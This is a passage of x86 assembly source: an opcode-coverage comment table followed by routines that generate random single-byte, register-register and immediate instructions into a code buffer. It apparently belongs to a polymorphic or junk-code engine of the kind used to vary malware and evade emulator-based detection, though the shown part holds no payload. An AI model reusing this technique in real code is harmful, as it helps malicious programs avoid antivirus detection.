  849. ; 0x04 ... add al,  Imm8         0x04 (0x00-0xFF)     OPAlImm8
  850. ; 0x05 ... add eax, Imm32        0x05 (0x00-0xFF)     OPEaxImm32
  851. ; NOT USED: 0x06, 0x07 - push ES | pop ES
  852. ; 0x08 ... or  Mem8,  Reg8       0x08 (0x00-0xBF)     OPMem8Reg8
  853. ; 0x08 ... or  Reg8,  Reg8       0x08 (0xC0-0xFF)     OPReg8Reg8
  854. ; 0x09 ... or  Mem32, Reg32      0x09 (0x00-0xBF)     OPMem32Reg32
  855. ; 0x09 ... or  Reg32, Reg32      0x09 (0xC0-0xFF)     OPReg32Reg32
  856. ; 0x0A ... or  Reg8,  Mem8       0x0A (0x00-0xBF)     OPMem8Reg8
  857. ; 0x0A ... or  Reg8,  Reg8       0x0A (0xC0-0xFF)     OPReg8Reg8
  858. ; 0x0B ... or  Reg32, Mem32      0x0B (0x00-0xBF)     OPMem32Reg32
  859. ; 0x0B ... or  Reg32, Reg32      0x0B (0xC0-0xFF)     OPReg32Reg32
  860. ; 0x0C ... or  al,  Imm8         0x0C (0x00-0xFF)     OPAlImm8
  861. ; 0x0D ... or  eax, Imm32        0x0D (0x00-0xFF)     OPEaxImm32
  862. ; NOT USED: 0x0E, 0x0F - push CS | pop CS
  863. ; 0x10 ... adc Mem8,  Reg8       0x10 (0x00-0xBF)     OPMem8Reg8
  864. ; 0x10 ... adc Reg8,  Reg8       0x10 (0xC0-0xFF)     OPReg8Reg8
  865. ; 0x11 ... adc Mem32, Reg32      0x11 (0x00-0xBF)     OPMem32Reg32
  866. ; 0x11 ... adc Reg32, Reg32      0x11 (0xC0-0xFF)     OPReg32Reg32
  867. ; 0x12 ... adc Reg8,  Mem8       0x12 (0x00-0xBF)     OPMem8Reg8
  868. ; 0x12 ... adc Reg8,  Reg8       0x12 (0xC0-0xFF)     OPReg8Reg8
  869. ; 0x13 ... adc Reg32, Mem32      0x13 (0x00-0xBF)     OPMem32Reg32
  870. ; 0x13 ... adc Reg32, Reg32      0x13 (0xC0-0xFF)     OPReg32Reg32
  871. ; 0x14 ... adc al,  Imm8         0x14 (0x00-0xFF)     OPAlImm8
  872. ; 0x15 ... adc eax, Imm32        0x15 (0x00-0xFF)     OPEaxImm32
  873. ; NOT USED: 0x16, 0x17 - push SS | pop SS
  874. ; 0x18 ... sbb Mem8,  Reg8       0x18 (0x00-0xBF)     OPMem8Reg8
  875. ; 0x18 ... sbb Reg8,  Reg8       0x18 (0xC0-0xFF)     OPReg8Reg8
  876. ; 0x19 ... sbb Mem32, Reg32      0x19 (0x00-0xBF)     OPMem32Reg32
  877. ; 0x19 ... sbb Reg32, Reg32      0x19 (0xC0-0xFF)     OPReg32Reg32
  878. ; 0x1A ... sbb Reg8,  Mem8       0x1A (0x00-0xBF)     OPMem8Reg8
  879. ; 0x1A ... sbb Reg8,  Reg8       0x1A (0xC0-0xFF)     OPReg8Reg8
  880. ; 0x1B ... sbb Reg32, Mem32      0x1B (0x00-0xBF)     OPMem32Reg32
  881. ; 0x1B ... sbb Reg32, Reg32      0x1B (0xC0-0xFF)     OPReg32Reg32
  882. ; 0x1C ... sbb al,  Imm8         0x1C (0x00-0xFF)     OPAlImm8
  883. ; 0x1D ... sbb eax, Imm32        0x1D (0x00-0xFF)     OPEaxImm32
  884. ; NOT USED: 0x16, 0x17 - push DS | pop DS
  885. ; 0x20 ... and Mem8,  Reg8       0x20 (0x00-0xBF)     OPMem8Reg8
  886. ; 0x20 ... and Reg8,  Reg8       0x20 (0xC0-0xFF)     OPReg8Reg8
  887. ; 0x21 ... and Mem32, Reg32      0x21 (0x00-0xBF)     OPMem32Reg32
  888. ; 0x21 ... and Reg32, Reg32      0x21 (0xC0-0xFF)     OPReg32Reg32
  889. ; 0x22 ... and Reg8,  Mem8       0x22 (0x00-0xBF)     OPMem8Reg8
  890. ; 0x22 ... and Reg8,  Reg8       0x22 (0xC0-0xFF)     OPReg8Reg8
  891. ; 0x23 ... and Reg32, Mem32      0x23 (0x00-0xBF)     OPMem32Reg32
  892. ; 0x23 ... and Reg32, Reg32      0x23 (0xC0-0xFF)     OPReg32Reg32
  893. ; 0x24 ... and al,  Imm8         0x24 (0x00-0xFF)     OPAlImm8
  894. ; 0x25 ... and eax, Imm32        0x25 (0x00-0xFF)     OPEaxImm32
  895. ; NOT USED: 0x26 (Superfluous) prefix
  896. ; 0x27 ... daa                   0x27                 SingleByteCommand
  897. ; 0x28 ... sub Mem8,  Reg8       0x28 (0x00-0xBF)     OPMem8Reg8
  898. ; 0x28 ... sub Reg8,  Reg8       0x28 (0xC0-0xFF)     OPReg8Reg8
  899. ; 0x29 ... sub Mem32, Reg32      0x29 (0x00-0xBF)     OPMem32Reg32
  900. ; 0x29 ... sub Reg32, Reg32      0x29 (0xC0-0xFF)     OPReg32Reg32
  901. ; 0x2A ... sub Reg8,  Mem8       0x2A (0x00-0xBF)     OPMem8Reg8
  902. ; 0x2A ... sub Reg8,  Reg8       0x2A (0xC0-0xFF)     OPReg8Reg8
  903. ; 0x2B ... sub Reg32, Mem32      0x2B (0x00-0xBF)     OPMem32Reg32
  904. ; 0x2B ... sub Reg32, Reg32      0x2B (0xC0-0xFF)     OPReg32Reg32
  905. ; 0x2C ... sub al,  Imm8         0x2C (0x00-0xFF)     OPAlImm8
  906. ; 0x2D ... sub eax, Imm32        0x2D (0x00-0xFF)     OPEaxImm32
  907. ; NOT USED: 0x2E (Superfluous) prefix
  908. ; 0x2F ... das                   0x2F                 SingleByteCommand
  909. ; 0x30 ... xor Mem8,  Reg8       0x30 (0x00-0xBF)     OPMem8Reg8
  910. ; 0x30 ... xor Reg8,  Reg8       0x30 (0xC0-0xFF)     OPReg8Reg8
  911. ; 0x31 ... xor Mem32, Reg32      0x31 (0x00-0xBF)     OPMem32Reg32
  912. ; 0x31 ... xor Reg32, Reg32      0x31 (0xC0-0xFF)     OPReg32Reg32
  913. ; 0x32 ... xor Reg8,  Mem8       0x32 (0x00-0xBF)     OPMem8Reg8
  914. ; 0x32 ... xor Reg8,  Reg8       0x32 (0xC0-0xFF)     OPReg8Reg8
  915. ; 0x33 ... xor Reg32, Mem32      0x33 (0x00-0xBF)     OPMem32Reg32
  916. ; 0x33 ... xor Reg32, Reg32      0x33 (0xC0-0xFF)     OPReg32Reg32
  917. ; 0x34 ... xor al,  Imm8         0x34 (0x00-0xFF)     OPAlImm8
  918. ; 0x35 ... xor eax, Imm32        0x35 (0x00-0xFF)     OPEaxImm32
  919. ; NOT USED: 0x36 (Superfluous) prefix
  920. ; 0x37 ... aaa                   0x37                 SingleByteCommand
  921. ; 0x38 ... cmp Mem8,  Reg8       0x38 (0x00-0xBF)     OPMem8Reg8
  922. ; 0x38 ... cmp Reg8,  Reg8       0x38 (0xC0-0xFF)     OPReg8Reg8
  923. ; 0x39 ... cmp Mem32, Reg32      0x39 (0x00-0xBF)     OPMem32Reg32
  924. ; 0x39 ... cmp Reg32, Reg32      0x39 (0xC0-0xFF)     OPReg32Reg32
  925. ; 0x3A ... cmp Reg8,  Mem8       0x3A (0x00-0xBF)     OPMem8Reg8
  926. ; 0x3A ... cmp Reg8,  Reg8       0x3A (0xC0-0xFF)     OPReg8Reg8
  927. ; 0x3B ... cmp Reg32, Mem32      0x3B (0x00-0xBF)     OPMem32Reg32
  928. ; 0x3B ... cmp Reg32, Reg32      0x3B (0xC0-0xFF)     OPReg32Reg32
  929. ; 0x3C ... cmp al,  Imm8         0x3C (0x00-0xFF)     OPAlImm8
  930. ; 0x3D ... cmp eax, Imm32        0x3D (0x00-0xFF)     OPEaxImm32
  931. ; NOT USED: 0x3E (Superfluous) prefix
  932. ; 0x3F ... aas                   0x3F                 SingleByteCommand
  933. ; 0x40 - 0x4F ... inc|dec Reg32                       IncDecReg32
  934. ; 0x50 - 0x5F ... push|pop Reg32                      PushPopReg32
  935. ; NOT USED: 0x60 - 0x67: pushad,popad,bound,arpl + prefixes
  936. ; 0x68 ... push Imm32            0x68 (0x00-0xFF)     PushImm321
  937. ; NOT USED: 0x69: imul [maybe in next versions]
  938. ; 0x6A ... push Imm32            0x68 (0x00-0xFF)     PushImm322
  939. ; NOT USED: 0x6B-0x6F: imul [maybe in next versions], inx, outx
  940. ; NOT USED: 0x70-0x7F: jxx
  941. ; 0x80 ... add|or|adc|sbb|and|sub|xor|cmp Reg8,  Imm8  0x80 (0xC0-0xFF)   VariousReg8Imm8
  942. ; 0x81 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x81 (0xC0-0xFF)   VariousReg32Imm32
  943. ; 0x82 ... add|or|adc|sbb|and|sub|xor|cmp Reg8,  Imm8  0x82 (0xC0-0xFF)   VariousReg8Imm8
  944. ; 0x83 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x83 (0xC0-0xFF)   VariousReg32Imm32
  945. ; NOT USED: 0x84,0x85: test [maybe in next versions]
  946. ; 0x86 ... xchg Mem8, Reg8:      0x86 (0x00-0xBF)     OPMem8Reg8
  947. ; 0x86 ... xchg Reg8, Reg8:      0x86 (0xC0-0xFF)     OPReg8Reg8
  948. ; 0x87 ... xchg Mem32, Reg32:    0x87 (0x00-0xBF)     OPMem32Reg32
  949. ; 0x87 ... xchg Reg32, Reg32:    0x87 (0xC0-0xFF)     OPReg32Reg32
  950. ; 0x88 ... mov Mem8, Reg8:       0x88 (0x00-0xBF)     OPMem8Reg8
  951. ; 0x88 ... mov Reg8, Reg8:       0x88 (0xC0-0xFF)     OPReg8Reg8
  952. ; 0x89 ... mov Mem32, Reg32:     0x89 (0x00-0xBF)     OPMem32Reg32
  953. ; 0x89 ... mov Reg32, Reg32:     0x89 (0xC0-0xFF)     OPReg32Reg32
  954. ; 0x8A ... mov Reg8, Mem8:       0x8A (0x00-0xBF)     OPMem8Reg8
  955. ; 0x8A ... mov Reg8, Reg8:       0x8A (0xC0-0xFF)     OPReg8Reg8
  956. ; 0x8B ... mov Mem32, Reg32:     0x8B (0x00-0xBF)     OPMem32Reg32
  957. ; 0x8B ... mov Reg32, Reg32:     0x8B (0xC0-0xFF)     OPReg32Reg32
  958. ; NOT USED: 0x8C-0x8F: mov (Segment registers), lea [maybe in next versions]
  959. ; 0x90 - 0x99 ... XCHG eax, Reg32 | CWDE | CDQ        SingleByteCommand
  960. ; NOT USED: 0x9A-0x9F: call, wait, pushfd, popfd, sahf, lahf
  961. ; ...
  962. ; 0xF8 ... clc                   0xF8                 SingleByteCommand
  963. ; 0xF9 ... stc                   0xF9                 SingleByteCommand
  964. ; Rest of 0xA0 - 0xFF ... [maybe in next versions] - however, the instruction set above should
  965. ;                                            do its job quite good for the moment
  966.  
  967.  
  968. ; ----
  969.         cc rP,       xor,     ebp, ebp            ; counter
  970.         cc rCP,      xor,     ecx, ecx
  971.         cc rP,       mov,     byte[CGPushPop], cl
  972.  
  973.     CreateMoreRandomCode:
  974.         cc rBP,      mov,     ebx, 17
  975.         cc rBCP,     xor,     ecx, ecx
  976.  
  977.         cc rNoEmul,  call,    CreateSpecialRndNumber
  978.         cc rAP,      mov,     al, dl      ; AL=Main random number
  979.  
  980.        SingleByteCommand:
  981.         cc rAPF,     cmp,     al, 0
  982.         cc rNoEmul,  jne,     SingleByteCommandEnd
  983.  
  984.         cc rBP,      mov,     ebx, 19
  985.         cc rBCP,     xor,     ecx, ecx
  986.         cc rNoEmul,  call,    CreateSpecialRndNumber
  987.  
  988.         cc rDPF,     cmp,     dl, 9
  989.         cc rNoEmul,  ja,      SingleByteCommandSpecial
  990.  
  991.         cc rDPF,     cmp,     dl, 4
  992.         cc rNoEmul,  jne,     SingleByteCommandFinAdd
  993.         cc rDP,      xor,     dl, dl              ; 0x94=xchg eax, esp
  994.         SingleByteCommandFinAdd:
  995.         cc rDP,      add,     dl, 0x90            ; dl=0x90 ... 0x99
  996.         cc rNoEmul,  jmp,     SingleByteCommand2Mem
  997.  
  998.         SingleByteCommandSpecial:
  999.         cc rDP,      mov,     dh, 0x27          ; DAA
  1000.         cc rDPF,     cmp,     dl, 10
  1001.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1002.         cc rDP,      mov,     dh, 0x2F          ; DAS
  1003.         cc rDPF,     cmp,     dl, 11
  1004.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1005.         cc rDP,      mov,     dh, 0x37          ; AAA
  1006.         cc rDPF,     cmp,     dl, 12
  1007.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1008.         cc rDP,      mov,     dh, 0x3F          ; AAS
  1009.         cc rDPF,     cmp,     dl, 13
  1010.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1011.         cc rDP,      mov,     dh, 0xF8          ; CLC
  1012.         cc rDPF,     cmp,     dl, 14
  1013.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1014.         cc rDP,      mov,     dh, 0xF9          ; STC
  1015.         cc rDPF,     cmp,     dl, 15
  1016.         cc rNoEmul,  je,      SingleByteCommand2MemBef
  1017.  
  1018.         cc rDP,      mov,     dh, 0x90        ; NOP
  1019.  
  1020.         SingleByteCommand2MemBef:
  1021.         cc rDP,      mov,     dl, dh
  1022.         SingleByteCommand2Mem:
  1023.         cc rP,       mov,     byte[RandomCode+ebp], dl
  1024.         cc rP,       add,     ebp, 0x1
  1025.        cc rNoEmul,  jmp,  EndCRCCycle
  1026.        SingleByteCommandEnd:
  1027.  
  1028.  
  1029.        OPReg8Reg8:
  1030.         cc rAPF,     cmp,     al, 1
  1031.         cc rNoEmul,  jne,     OPReg8Reg8End
  1032.  
  1033.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-2)
  1034.         cc rNoEmul,  jg,      EndCRCCycle
  1035.  
  1036.         cc rBP,      mov,     ebx, 21
  1037.         cc rBCP,     xor,     ecx, ecx
  1038.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1039.  
  1040.         cc rDP,      mov,     byte[RandomCode+ebp], 0x00   ; add Reg8, Reg8
  1041.         cc rDPF,     cmp,     dl, 0
  1042.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1043.  
  1044.         cc rDP,      mov,     byte[RandomCode+ebp], 0x02   ; add Reg8, Reg8
  1045.         cc rDPF,     cmp,     dl, 1
  1046.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1047.  
  1048.         cc rDP,      mov,     byte[RandomCode+ebp], 0x08   ; or Reg8, Reg8
  1049.         cc rDPF,     cmp,     dl, 2
  1050.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1051.  
  1052.         cc rDP,      mov,     byte[RandomCode+ebp], 0x0A   ; or Reg8, Reg8
  1053.         cc rDPF,     cmp,     dl, 3
  1054.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1055.  
  1056.         cc rDP,      mov,     byte[RandomCode+ebp], 0x10   ; adc Reg8, Reg8
  1057.         cc rDPF,     cmp,     dl, 4
  1058.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1059.  
  1060.         cc rDP,      mov,     byte[RandomCode+ebp], 0x12   ; adc Reg8, Reg8
  1061.         cc rDPF,     cmp,     dl, 5
  1062.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1063.  
  1064.         cc rDP,      mov,     byte[RandomCode+ebp], 0x18   ; sbb Reg8, Reg8
  1065.         cc rDPF,     cmp,     dl, 6
  1066.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1067.  
  1068.         cc rDP,      mov,     byte[RandomCode+ebp], 0x1A   ; sbb Reg8, Reg8
  1069.         cc rDPF,     cmp,     dl, 7
  1070.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1071.  
  1072.         cc rDP,      mov,     byte[RandomCode+ebp], 0x20   ; and Reg8, Reg8
  1073.         cc rDPF,     cmp,     dl, 8
  1074.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1075.  
  1076.         cc rDP,      mov,     byte[RandomCode+ebp], 0x22   ; and Reg8, Reg8
  1077.         cc rDPF,     cmp,     dl, 9
  1078.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1079.  
  1080.         cc rDP,      mov,     byte[RandomCode+ebp], 0x28   ; sub Reg8, Reg8
  1081.         cc rDPF,     cmp,     dl, 10
  1082.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1083.  
  1084.         cc rDP,      mov,     byte[RandomCode+ebp], 0x2A   ; sub Reg8, Reg8
  1085.         cc rDPF,     cmp,     dl, 11
  1086.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1087.  
  1088.         cc rDP,      mov,     byte[RandomCode+ebp], 0x30   ; xor Reg8, Reg8
  1089.         cc rDPF,     cmp,     dl, 12
  1090.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1091.  
  1092.         cc rDP,      mov,     byte[RandomCode+ebp], 0x32   ; xor Reg8, Reg8
  1093.         cc rDPF,     cmp,     dl, 13
  1094.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1095.  
  1096.         cc rDP,      mov,     byte[RandomCode+ebp], 0x38   ; cmp Reg8, Reg8
  1097.         cc rDPF,     cmp,     dl, 14
  1098.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1099.  
  1100.         cc rDP,      mov,     byte[RandomCode+ebp], 0x3A   ; cmp Reg8, Reg8
  1101.         cc rDPF,     cmp,     dl, 15
  1102.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1103.  
  1104.         cc rDP,      mov,     byte[RandomCode+ebp], 0x86   ; xchg Reg8, Reg8
  1105.         cc rDPF,     cmp,     dl, 16
  1106.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1107.  
  1108.         cc rDP,      mov,     byte[RandomCode+ebp], 0x88   ; mov Reg8, Reg8
  1109.         cc rDPF,     cmp,     dl, 17
  1110.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1111.  
  1112.         cc rDP,      mov,     byte[RandomCode+ebp], 0x8A   ; mov Reg8, Reg8
  1113.         cc rDPF,     cmp,     dl, 18
  1114.         cc rNoEmul,  je,      OPReg8Reg8Cont
  1115.  
  1116.         cc rNoEmul,  jmp,  OPReg8Reg8End
  1117.  
  1118.         OPReg8Reg8Cont:
  1119.         cc rBP,      mov,     ebx, (0xFF-0xC0)
  1120.         cc rBCP,     mov,     ecx, 0xC0
  1121.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1122.         cc rDP,      mov,     byte[RandomCode+ebp+1], dl
  1123.         cc rP,       add,     ebp, 0x2
  1124.        cc rNoEmul,       jmp,  EndCRCCycle
  1125.        OPReg8Reg8End:
  1126.  
  1127.  
  1128.        OPReg32Reg32:
  1129.         cc rAPF,     cmp,     al, 2
  1130.         cc rNoEmul,  jne,     OPReg32Reg32End
  1131.  
  1132.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-2)
  1133.         cc rNoEmul,  jg,      EndCRCCycle
  1134.  
  1135.         cc rBP,      mov,     ebx, 21
  1136.         cc rBCP,     xor,     ecx, ecx
  1137.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1138.  
  1139.         cc rDP,       mov,     byte[RandomCode+ebp], 0x01   ; add Reg32, Reg32
  1140.         cc rDPF,      cmp,     dl, 0
  1141.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1142.  
  1143.         cc rDP,       mov,     byte[RandomCode+ebp], 0x03   ; add Reg32, Reg32
  1144.         cc rDPF,      cmp,     dl, 1
  1145.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1146.  
  1147.         cc rDP,       mov,     byte[RandomCode+ebp], 0x09   ; or Reg32, Reg32
  1148.         cc rDPF,      cmp,     dl, 2
  1149.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1150.  
  1151.         cc rDP,       mov,     byte[RandomCode+ebp], 0x0B   ; or Reg32, Reg32
  1152.         cc rDPF,      cmp,     dl, 3
  1153.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1154.  
  1155.         cc rDP,       mov,     byte[RandomCode+ebp], 0x11   ; adc Reg32, Reg32
  1156.         cc rDPF,      cmp,     dl, 4
  1157.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1158.  
  1159.         cc rDP,       mov,     byte[RandomCode+ebp], 0x13   ; adc Reg32, Reg32
  1160.         cc rDPF,      cmp,     dl, 5
  1161.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1162.  
  1163.         cc rDP,       mov,     byte[RandomCode+ebp], 0x19   ; sbb Reg32, Reg32
  1164.         cc rDPF,      cmp,     dl, 6
  1165.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1166.  
  1167.         cc rDP,       mov,     byte[RandomCode+ebp], 0x1B   ; sbb Reg32, Reg32
  1168.         cc rDPF,      cmp,     dl, 7
  1169.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1170.  
  1171.         cc rDP,       mov,     byte[RandomCode+ebp], 0x21   ; and Reg32, Reg32
  1172.         cc rDPF,      cmp,     dl, 8
  1173.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1174.  
  1175.         cc rDP,       mov,     byte[RandomCode+ebp], 0x23   ; and Reg32, Reg32
  1176.         cc rDPF,      cmp,     dl, 9
  1177.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1178.  
  1179.         cc rDP,       mov,     byte[RandomCode+ebp], 0x29   ; sub Reg32, Reg32
  1180.         cc rDPF,      cmp,     dl, 10
  1181.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1182.  
  1183.         cc rDP,       mov,     byte[RandomCode+ebp], 0x2B   ; sub Reg32, Reg32
  1184.         cc rDPF,      cmp,     dl, 11
  1185.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1186.  
  1187.         cc rDP,       mov,     byte[RandomCode+ebp], 0x31   ; xor Reg32, Reg32
  1188.         cc rDPF,      cmp,     dl, 12
  1189.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1190.  
  1191.         cc rDP,       mov,     byte[RandomCode+ebp], 0x33   ; xor Reg32, Reg32
  1192.         cc rDPF,      cmp,     dl, 13
  1193.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1194.  
  1195.         cc rDP,       mov,     byte[RandomCode+ebp], 0x39   ; cmp Reg32, Reg32
  1196.         cc rDPF,      cmp,     dl, 14
  1197.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1198.  
  1199.         cc rDP,       mov,     byte[RandomCode+ebp], 0x3B   ; cmp Reg32, Reg32
  1200.         cc rDPF,      cmp,     dl, 15
  1201.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1202.  
  1203.         cc rDP,       mov,     byte[RandomCode+ebp], 0x89   ; mov Reg32, Reg32
  1204.         cc rDPF,      cmp,     dl, 16
  1205.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1206.  
  1207.         cc rDP,       mov,     byte[RandomCode+ebp], 0x8B   ; mov Reg32, Reg32
  1208.         cc rDPF,      cmp,     dl, 17
  1209.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1210.  
  1211.         cc rDP,       mov,     byte[RandomCode+ebp], 0x87   ; xchg Reg32, Reg32
  1212.         cc rDPF,      cmp,     dl, 18
  1213.         cc rNoEmul,   je,      OPReg32Reg32Cont
  1214.         cc rNoEmul,   jmp,     OPReg32Reg32End
  1215.  
  1216.         OPReg32Reg32Cont:
  1217.         cc rDP,       push,    edx         ; Save dl
  1218.         cc rBP,       mov,     ebx, (0xFF-0xC0)
  1219.         cc rBCP,      mov,     ecx, 0xC0
  1220.         cc rNoEmul,   call,    CreateSpecialRndNumber
  1221.         cc rP,        mov,     byte[RandomCode+ebp+1], dl
  1222.         cc rADP,      pop,     eax
  1223.         cc rDPF,      and,     al, 0001b
  1224.         cc rNoEmul,   jz,      OPReg32Reg32CheckESP0
  1225.  
  1226.         cc rDP,       mov,     byte[RandomCode+ebp+1], dl
  1227.         cc rDP,       and,     dl, 111000b
  1228.         cc rDPF,      cmp,     dl, 100000b
  1229.         cc rNoEmul,   je,      EndCRCCycle            ; OP esp, ... but source and destination reversed
  1230.         cc rP,        add,     ebp, 0x2
  1231.           cc rNoEmul, jmp,  EndCRCCycle
  1232.  
  1233.         OPReg32Reg32CheckESP0:
  1234.         cc rDP,       mov,     dh, byte[RandomCode+ebp]
  1235.         cc rDPF,      cmp,     dh, 0x87
  1236.         cc rNoEmul,   jne,     OPReg32Reg32CheckESP1
  1237.  
  1238.         cc rDPF,      cmp,     dl, 0xE0
  1239.         cc rNoEmul,   jb,      OPReg32Reg32CheckESP1
  1240.         cc rDPF,      cmp,     dl, 0xE8
  1241.           cc rNoEmul, jb,      EndCRCCycle
  1242.  
  1243.         OPReg32Reg32CheckESP1:
  1244.         cc rDP,       and,     dl, 111b
  1245.         cc rDPF,      cmp,     dl, 100b
  1246.         cc rNoEmul,   je,      EndCRCCycle            ; OP esp, ...
  1247.  
  1248.         cc rP,        add,     ebp, 0x2
  1249.        cc rNoEmul, jmp,  EndCRCCycle
  1250.        OPReg32Reg32End:
  1251.  
  1252.  
  1253.        OPAlImm8:
  1254.         cc rAPF,      cmp,     al, 3
  1255.         cc rNoEmul,   jne,     OPAlImm8End
  1256.  
  1257.         cc rPF,       cmp,     ebp, (RandomCodeBufferSize-2)
  1258.         cc rNoEmul,   jg,      EndCRCCycle
  1259.  
  1260.         cc rBP,       mov,     ebx, 9
  1261.         cc rBCP,      xor,     ecx, ecx
  1262.         cc rNoEmul,   call,    CreateSpecialRndNumber
  1263.  
  1264.         cc rDP,       mov,     byte[RandomCode+ebp], 0x04   ; add al, Imm8
  1265.         cc rDPF,      cmp,     dl, 0
  1266.         cc rNoEmul,   je,      OPAlImm8Cont
  1267.  
  1268.         cc rDP,       mov,     byte[RandomCode+ebp], 0x0C   ; or al, Imm8
  1269.         cc rDPF,      cmp,     dl, 1
  1270.         cc rNoEmul,   je,      OPAlImm8Cont
  1271.  
  1272.         cc rDP,       mov,     byte[RandomCode+ebp], 0x14   ; adc al, Imm8
  1273.         cc rDPF,      cmp,     dl, 2
  1274.         cc rNoEmul,   je,      OPAlImm8Cont
  1275.  
  1276.         cc rDP,       mov,     byte[RandomCode+ebp], 0x1C   ; sbb al, Imm8
  1277.         cc rDPF,      cmp,     dl, 3
  1278.         cc rNoEmul,   je,      OPAlImm8Cont
  1279.  
  1280.         cc rDP,       mov,     byte[RandomCode+ebp], 0x24   ; and al, Imm8
  1281.         cc rDPF,      cmp,     dl, 4
  1282.         cc rNoEmul,   je,      OPAlImm8Cont
  1283.  
  1284.         cc rDP,       mov,     byte[RandomCode+ebp], 0x2C   ; sub al, Imm8
  1285.         cc rDPF,      cmp,     dl, 5
  1286.         cc rNoEmul,   je,      OPAlImm8Cont
  1287.  
  1288.         cc rDP,       mov,     byte[RandomCode+ebp], 0x34   ; xor al, Imm8
  1289.         cc rDPF,      cmp,     dl, 6
  1290.         cc rNoEmul,   je,      OPAlImm8Cont
  1291.  
  1292.         cc rDP,       mov,     byte[RandomCode+ebp], 0x3C   ; cmp al, Imm8
  1293.         cc rDPF,      cmp,     dl, 7
  1294.         cc rNoEmul,   je,      OPAlImm8Cont
  1295.         cc rNoEmul,   jmp,  OPAlImm8End
  1296.  
  1297.         OPAlImm8Cont:
  1298.         cc rNoEmul,   call,    GetRandomNumber
  1299.         cc rP,        mov,     byte[RandomCode+ebp+1], dl
  1300.         cc rP,        add,     ebp, 0x2
  1301.        cc rNoEmul,    jmp,  EndCRCCycle
  1302.        OPAlImm8End:
  1303.  
  1304.  
  1305.  
  1306.        OPEaxImm32:
  1307.         cc rAPF,      cmp,  al, 4
  1308.         cc rNoEmul,   jne,  OPEaxImm32End
  1309.  
  1310.         cc rPF,       cmp,  ebp, (RandomCodeBufferSize-5)
  1311.         cc rNoEmul,   jg,   EndCRCCycle
  1312.  
  1313.         cc rBP,       mov,  ebx, 9
  1314.         cc rBCP,      xor,  ecx, ecx
  1315.         cc rNoEmul,   call, CreateSpecialRndNumber
  1316.  
  1317.         cc rDP,        mov, byte[RandomCode+ebp], 0x05   ; add eax, Imm32
  1318.         cc rDPF,       cmp, dl, 0
  1319.         cc rNoEmul,    je,  OPEaxImm32Cont
  1320.  
  1321.         cc rDP,        mov, byte[RandomCode+ebp], 0x0D   ; or eax, Imm32
  1322.         cc rDPF,       cmp, dl, 1
  1323.         cc rNoEmul,    je,  OPEaxImm32Cont
  1324.  
  1325.         cc rDP,        mov, byte[RandomCode+ebp], 0x15   ; adc eax, Imm32
  1326.         cc rDPF,       cmp, dl, 2
  1327.         cc rNoEmul,    je,  OPEaxImm32Cont
  1328.  
  1329.         cc rDP,        mov, byte[RandomCode+ebp], 0x1D   ; sbb eax, Imm32
  1330.         cc rDPF,       cmp, dl, 3
  1331.         cc rNoEmul,    je,  OPEaxImm32Cont
  1332.  
  1333.         cc rDP,        mov, byte[RandomCode+ebp], 0x25   ; and eax, Imm32
  1334.         cc rDPF,       cmp, dl, 4
  1335.         cc rNoEmul,    je,  OPEaxImm32Cont
  1336.  
  1337.         cc rDP,        mov, byte[RandomCode+ebp], 0x2D   ; sub eax, Imm32
  1338.         cc rDPF,       cmp, dl, 5
  1339.         cc rNoEmul,    je,  OPEaxImm32Cont
  1340.  
  1341.         cc rDP,        mov, byte[RandomCode+ebp], 0x35   ; xor eax, Imm32
  1342.         cc rDPF,       cmp, dl, 6
  1343.         cc rNoEmul,    je,  OPEaxImm32Cont
  1344.  
  1345.         cc rDP,        mov, byte[RandomCode+ebp], 0x3D   ; cmp eax, Imm32
  1346.         cc rDPF,       cmp, dl, 7
  1347.         cc rNoEmul,    je,  OPEaxImm32Cont
  1348.         cc rNoEmul,    jmp, OPEaxImm32End
  1349.  
  1350.         OPEaxImm32Cont:
  1351.         cc rNoEmul,    call,   GetRandomNumber
  1352.         cc rDP,        mov,    edx, dword[RandomNumber]
  1353.         cc rP,         mov,    dword[RandomCode+ebp+1], edx
